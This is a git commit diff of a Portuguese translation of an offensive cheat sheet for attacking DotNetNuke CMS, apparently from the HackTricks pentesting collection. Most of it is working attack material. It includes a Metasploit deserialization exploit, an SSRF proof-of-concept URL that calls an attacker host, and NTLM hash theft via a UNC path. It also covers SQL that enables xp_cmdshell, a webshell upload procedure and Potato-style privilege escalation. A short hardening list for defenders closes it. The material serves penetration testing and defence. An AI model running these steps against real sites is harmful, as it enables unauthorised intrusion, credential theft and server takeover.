Translated ['src/network-services-pentesting/pentesting-web/dotnetnuke-d

This commit is contained in:
Translator 2025-07-19 08:09:35 +00:00
parent aec0a63762
commit eb366e59e8

View File

@ -4,37 +4,92 @@
## DotNetNuke (DNN)
Se você entrar como **administrador** no DNN, é fácil obter RCE.
Se você entrar como **administrador** no DNN, é fácil obter **RCE**, no entanto, várias técnicas *não autenticadas* e *pós-autenticação* foram publicadas nos últimos anos. Este cheat-sheet coleta os primitivas mais úteis para trabalhos ofensivos e defensivos.
## RCE
---
## Enumeração de Versão e Ambiente
### Via SQL
* Verifique o cabeçalho de resposta HTTP *X-DNN* geralmente revela a versão exata da plataforma.
* O assistente de instalação vaza a versão em `/Install/Install.aspx?mode=install` (acessível em instalações muito antigas).
* `/API/PersonaBar/GetStatus` (9.x) retorna um blob JSON contendo `"dnnVersion"` para usuários de baixo privilégio.
* Cookies típicos que você verá em uma instância ao vivo:
* `.DOTNETNUKE` ticket de autenticação de formulários ASP.NET.
* `DNNPersonalization` contém dados de perfil de usuário em XML/serializados (versões antigas veja RCE abaixo).
Um console SQL é acessível na página **`Settings`** onde você pode habilitar **`xp_cmdshell`** e **executar comandos do sistema operacional**.
---
## Exploração Não Autenticada
Use estas linhas para habilitar **`xp_cmdshell`**:
```sql
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGURE
### 1. RCE de Desserialização de Cookie (CVE-2017-9822 e seguimentos)
*Versões afetadas ≤ 9.3.0-RC*
`DNNPersonalization` é desserializado em cada solicitação quando o manipulador 404 embutido está habilitado. XML elaborado pode, portanto, levar a cadeias de gadgets arbitrárias e execução de código.
```
E pressione **"Run Script"** para executar essas sentenças SQL.
Em seguida, use algo como o seguinte para executar comandos do OS:
```sql
xp_cmdshell 'whoami'
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
msf> set RHOSTS <target>
msf> set LHOST <attacker_ip>
msf> run
```
### Via ASP webshell
O módulo escolhe automaticamente o caminho certo para versões corrigidas, mas ainda vulneráveis (CVE-2018-15811/15812/18325/18326). A exploração funciona **sem autenticação** em 7.x9.1.x e com uma conta de *baixo privilégio* *verificada* em 9.2.x+.
Em `Settings -> Security -> More -> More Security Settings` você pode **adicionar novas extensões permitidas** em `Allowable File Extensions`, e então clicar no botão `Save`.
### 2. Server-Side Request Forgery (CVE-2025-32372)
*Versões afetadas < 9.13.8 Patch lançado em abril de 2025*
Adicione **`asp`** ou **`aspx`** e então em **`/admin/file-management`** faça o upload de um **asp webshell** chamado `shell.asp`, por exemplo.
Um bypass da correção mais antiga do `DnnImageHandler` permite que um atacante force o servidor a emitir **requisições GET arbitrárias** (SSRF semi-cega). Impactos práticos:
Então acesse **`/Portals/0/shell.asp`** para acessar seu webshell.
* Escaneamento de portas internas / descoberta de serviços de metadados em implantações na nuvem.
* Acessar hosts que, de outra forma, estariam protegidos por firewall da Internet.
### Privilege Escalation
Prova de conceito (substitua `TARGET` & `ATTACKER`):
```
https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
```
A solicitação é acionada em segundo plano; monitore seu listener para callbacks.
Você pode **escalar privilégios** usando o **Potatoes** ou **PrintSpoofer**, por exemplo.
### 3. Exposição de Hash NTLM via Redirecionamento UNC (CVE-2025-52488)
*Versões afetadas 6.0.0 9.x (< 10.0.1)*
Conteúdo especialmente elaborado pode fazer com que o DNN tente buscar um recurso usando um **caminho UNC** como `\\attacker\share\img.png`. O Windows realizará a negociação NTLM, vazando os hashes da conta do servidor para o atacante. Atualize para **10.0.1** ou desative o SMB de saída no firewall.
### 4. Bypass de Filtro de IP (CVE-2025-52487)
Se os administradores confiarem em *Filtros de Host/IP* para proteção do portal de administração, esteja ciente de que versões anteriores a **10.0.1** podem ser contornadas manipulando `X-Forwarded-For` em um cenário de proxy reverso.
---
## Pós-Autenticação para RCE
### Via console SQL
Sob **`Configurações → SQL`** uma janela de consulta embutida permite a execução contra o banco de dados do site. No Microsoft SQL Server, você pode habilitar **`xp_cmdshell`** e gerar comandos:
```sql
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO
xp_cmdshell 'whoami';
```
### Via upload de webshell ASPX
1. Vá para **`Settings → Security → More → More Security Settings`**.
2. Adicione `aspx` (ou `asp`) a **Allowable File Extensions** e **Save**.
3. Navegue até **`/admin/file-management`** e faça o upload de `shell.aspx`.
4. Acione-o em **`/Portals/0/shell.aspx`**.
---
## Escalação de Privilégios no Windows
Uma vez que a execução de código é alcançada como **IIS AppPool\<Site>**, técnicas comuns de escalonamento de privilégios do Windows se aplicam. Se a máquina for vulnerável, você pode aproveitar:
* **PrintSpoofer** / **SpoolFool** para abusar do *SeImpersonatePrivilege*.
* **Juicy/Sharp Potatoes** para escapar de *Service Accounts*.
---
## Recomendações de Fortalecimento (Blue Team)
* **Upgrade** para pelo menos **9.13.9** (corrige bypass de SSRF) ou preferencialmente **10.0.1** (problemas de filtro de IP e NTLM).
* Remova arquivos residuais **`InstallWizard.aspx*`** após a instalação.
* Desative a saída SMB (portas 445/139).
* Aplique filtros de *Host* fortes no proxy de borda em vez de dentro do DNN.
* Bloqueie o acesso a `/API/RemoteContentProxy` se não estiver em uso.
## Referências
* Documentação do módulo Metasploit `dnn_cookie_deserialization_rce` detalhes práticos de RCE não autenticada (GitHub).
* Aviso de Segurança do GitHub GHSA-3f7v-qx94-666m informações sobre bypass de SSRF de 2025 e patch.
{{#include ../../banners/hacktricks-training.md}}